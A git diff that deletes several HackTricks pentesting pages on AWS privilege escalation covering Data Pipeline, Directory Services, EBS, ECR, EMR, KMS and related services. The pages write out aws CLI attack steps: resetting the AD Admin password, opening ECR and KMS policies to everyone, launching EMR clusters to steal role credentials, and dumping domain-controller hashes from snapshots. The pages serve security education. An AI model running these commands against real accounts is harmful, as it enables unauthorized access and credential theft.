- "scheduleType": "ondemand",
- "failureAndRerunMode": "CASCADE",
- "name": "Default",
- "role": "assumable_datapipeline",
- "resourceRole": "assumable_datapipeline"
- },
- {
- "id" : "instance",
- "name" : "instance",
- "type" : "Ec2Resource",
- "actionOnTaskFailure" : "terminate",
- "actionOnResourceFailure" : "retryAll",
- "maximumRetries" : "1",
- "instanceType" : "t2.micro",
- "securityGroups" : ["default"],
- "role" : "assumable_datapipeline",
- "resourceRole" : "assumable_ec2_profile_instance"
- }]
-}
-```
-
-{% hint style="info" %}
-Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
-
-Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one).
-{% endhint %}
-
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id \
- --pipeline-definition file:///pipeline/definition.json
-```
-
-The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges.
-
-**Potential Impact:** Direct privesc to the ec2 service role specified.
-
-## References
-
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 33898f048..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# AWS - Directory Services Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Directory Services
-
-For more info about directory services check:
-
-{% content-ref url="../aws-services/aws-directory-services-workdocs-enum.md" %}
-[aws-directory-services-workdocs-enum.md](../aws-services/aws-directory-services-workdocs-enum.md)
-{% endcontent-ref %}
-
-### `ds:ResetUserPassword`
-
-This permission allows to **change** the **password** of any **existent** user in the Active Directory.\
-By default, the only existent user is **Admin**.
-
-```
-aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123.
-```
-
-### AWS Management Console
-
-It's possible to enable an **application access URL** that users from AD can access to login:
-
-
-
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console:
-
-
-
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index 3fedf519a..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## dynamodb
-
-For more info about dynamodb check:
-
-{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
-[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
-
-{% content-ref url="../aws-post-exploitation/aws-dynamodb-post-exploitation.md" %}
-[aws-dynamodb-post-exploitation.md](../aws-post-exploitation/aws-dynamodb-post-exploitation.md)
-{% endcontent-ref %}
-
-### TODO: Read data abusing data Streams
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 29cc69d95..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - EBS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in:
-
-{% content-ref url="../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md" %}
-[aws-ebs-snapshot-dump.md](../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
-{% endcontent-ref %}
-
-Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-
-The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords).
-
-### **`ec2:CreateSnapshot`**
-
-Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
-
-You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index 9a84a0d29..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - ECR Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
-
-For more info on how to download images:
-
-{% content-ref url="../aws-post-exploitation/aws-ecr-post-exploitation.md" %}
-[aws-ecr-post-exploitation.md](../aws-post-exploitation/aws-ecr-post-exploitation.md)
-{% endcontent-ref %}
-
-**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
-
-To learn how to upload a new image/update one, check:
-
-{% content-ref url="../aws-services/aws-eks-enum.md" %}
-[aws-eks-enum.md](../aws-services/aws-eks-enum.md)
-{% endcontent-ref %}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-Like the previous section, but for public repositories.
-
-### `ecr:SetRepositoryPolicy`
-
-An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
-For example, in this example read access is given to everyone.
-
-```bash
-aws ecr set-repository-policy \
- --repository-name \
- --policy-text file://my-policy.json
-```
-
-Contents of `my-policy.json`:
-
-```json
-{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
-}
-```
-
-### `ecr-public:SetRepositoryPolicy`
-
-Like the previoous section, but for public repositories.\
-An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
-
-{% code overflow="wrap" %}
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
- "Version": "2008-10-17",
- "Statement": [
- {
- "Sid": "MaliciousPublicRepoPolicy",
- "Effect": "Allow",
- "Principal": "*",
- "Action": [
- "ecr-public:GetDownloadUrlForLayer",
- "ecr-public:BatchGetImage",
- "ecr-public:BatchCheckLayerAvailability",
- "ecr-public:PutImage",
- "ecr-public:InitiateLayerUpload",
- "ecr-public:UploadLayerPart",
- "ecr-public:CompleteLayerUpload",
- "ecr-public:DeleteRepositoryPolicy"
- ]
- }
- ]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-{% endcode %}
-
-**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
-
-### `ecr:PutRegistryPolicy`
-
-An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
-
-```bash
-aws ecr set-repository-policy \
- --repository-name \
- --policy-text file://my-policy.json
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index acad83823..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - EMR Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EMR
-
-More **info about EMR** in:
-
-{% content-ref url="../aws-services/aws-emr-enum.md" %}
-[aws-emr-enum.md](../aws-services/aws-emr-enum.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\
-Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`).
-
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
- --key-name "privesc" \
- --public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
- --release-label emr-5.15.0 \
- --instance-type m4.large \
- --instance-count 1 \
- --service-role EMR_DefaultRole \
- --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-
-Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
-
-**Potential Impact:** Privesc to the EC2 service role specified.
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role.
-
-{% hint style="danger" %}
-Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
-{% endhint %}
-
-**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
-The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
-
-{% hint style="danger" %}
-Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related`.`
-{% endhint %}
-
-**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index 77979f805..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Gamelift
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-### `gamelift:RequestUploadCredentials`
-
-With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**.
-
-```bash
-aws gamelift request-upload-credentials \
- --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-
-## References
-
-* [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
deleted file mode 100644
index ccd34ffa8..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ /dev/null
@@ -1,154 +0,0 @@
-# AWS - KMS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## KMS
-
-For more info about KMS check:
-
-{% content-ref url="../aws-services/aws-kms-enum.md" %}
-[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
-{% endcontent-ref %}
-
-### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
-
-With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone:
-
-{% code overflow="wrap" %}
-```bash
-aws kms list-keys
-aws kms list-key-policies --key-id # Although only 1 max per key
-aws kms get-key-policy --key-id --policy-name
-# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
-aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json
-```
-{% endcode %}
-
-policy.json:
-
-```json
-{
- "Version" : "2012-10-17",
- "Id" : "key-consolepolicy-3",
- "Statement" : [
- {
- "Sid" : "Enable IAM User Permissions",
- "Effect" : "Allow",
- "Principal" : {
- "AWS" : "arn:aws:iam:::root"
- },
- "Action" : "kms:*",
- "Resource" : "*"
- },
- {
- "Sid" : "Allow all use",
- "Effect" : "Allow",
- "Principal" : {
- "AWS" : "arn:aws:iam:::root"
- },
- "Action" : [ "kms:*" ],
- "Resource" : "*"
- }
- ]
-}
-```
-
-### `kms:CreateGrant`
-
-It **allows a principal to use a KMS key:**
-
-```bash
-aws kms create-grant \
- --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
- --grantee-principal arn:aws:iam::123456789012:user/exampleUser \
- --operations Decrypt
-```
-
-{% hint style="warning" %}
-A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-{% endhint %}
-
-{% hint style="warning" %}
-Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\
-However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\
-For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
-{% endhint %}
-
-```bash
-# Use the grant token in a request
-aws kms generate-data-key \
- --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
- –-key-spec AES_256 \
- --grant-tokens $token
-```
-
-Note that it's possible to list grant of keys with:
-
-```bash
-aws kms list-grants --key-id
-```
-
-### `kms:CreateKey`, `kms:ReplicateKey`
-
-With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.
-
-So, an attacker could abuse this to obtain privesc his access to the key and use it
-
-{% code overflow="wrap" %}
-```bash
-aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
-
-{
- "Version": "2012-10-17",
- "Id": "key-consolepolicy-3",
- "Statement": [
- {
- "Sid": "Enable IAM User Permissions",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "kms:*",
- "Resource": "*"
- }
- ]
-}
-```
-{% endcode %}
-
-### `kms:Decrypt`
-
-This permission allows to use a key to decrypt some information.\
-For more information check:
-
-{% content-ref url="../aws-post-exploitation/aws-kms-post-exploitation.md" %}
-[aws-kms-post-exploitation.md](../aws-post-exploitation/aws-kms-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
deleted file mode 100644
index 3156ba72e..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - Mediapackage Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-### `mediapackage:RotateChannelCredentials`
-
-Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
-
-```bash
-aws mediapackage rotate-channel-credentials --id
-```
-
-### `mediapackage:RotateIngestEndpointCredentials`
-
